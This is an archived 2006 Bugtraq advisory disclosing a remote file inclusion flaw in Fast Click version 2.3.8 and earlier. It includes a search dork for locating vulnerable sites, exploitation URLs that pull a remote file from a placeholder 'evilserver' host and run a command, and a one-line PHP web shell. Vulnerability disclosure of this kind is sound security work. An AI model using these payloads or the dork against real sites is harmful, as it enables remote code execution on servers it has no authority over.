bugtraq - Fast Click <= 2.3.8 Remote File Inclusion

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20060502190921.27608.qmail@securityfocus.com>
Date: 2 May 2006 19:09:21 -0000
From: Aminrayden@...oo.com
To: bugtraq@...urityfocus.com
Subject: Fast Click <= 2.3.8 Remote File Inclusion


Fast Click <= 2.3.8 Remote File Inclusion
-------------------------------------------------------
Aria-security.com advisory
Bug Discovered by R@...N (amin emami)
email:AminRayden@...oo.com and rayden@...a-security.net
Date:02/05/2006
original advisory:http://www.aria-security.net/advisory/fc/fastclick.txt
--------------------------------------------------------
Affected software description:
Fast Click <= 2.3.8
Vendor:http://www.ftrain.siteburg.com/fclicksqlpro/fclick.php?fclick
Vulnerability: remote file inclusion
Dork:inurl:"fclick.php?fid"
---------------------------------------------------------
Disscution:
The problem exists is in the files "show.php" and "top.php" when include the
variable $Path
Vulnerable Code:
include($path."cfg.php")

Exploitation example:
http://[target].com/[path]/show.php?path=http://evilserver/cmd.gif?&cmd=uname -a
http://[target].com/[path]/top.php?path=http://evilserver/cmd.gif?&cmd=uname -a

---------------------------------------------------------
cmd.gif
-----------
<?
system($cmd);
?>
-----------

* Fix *:
 
Contact the Vendor


===========================================================
Aria Security Research
Http://www.aria-security.net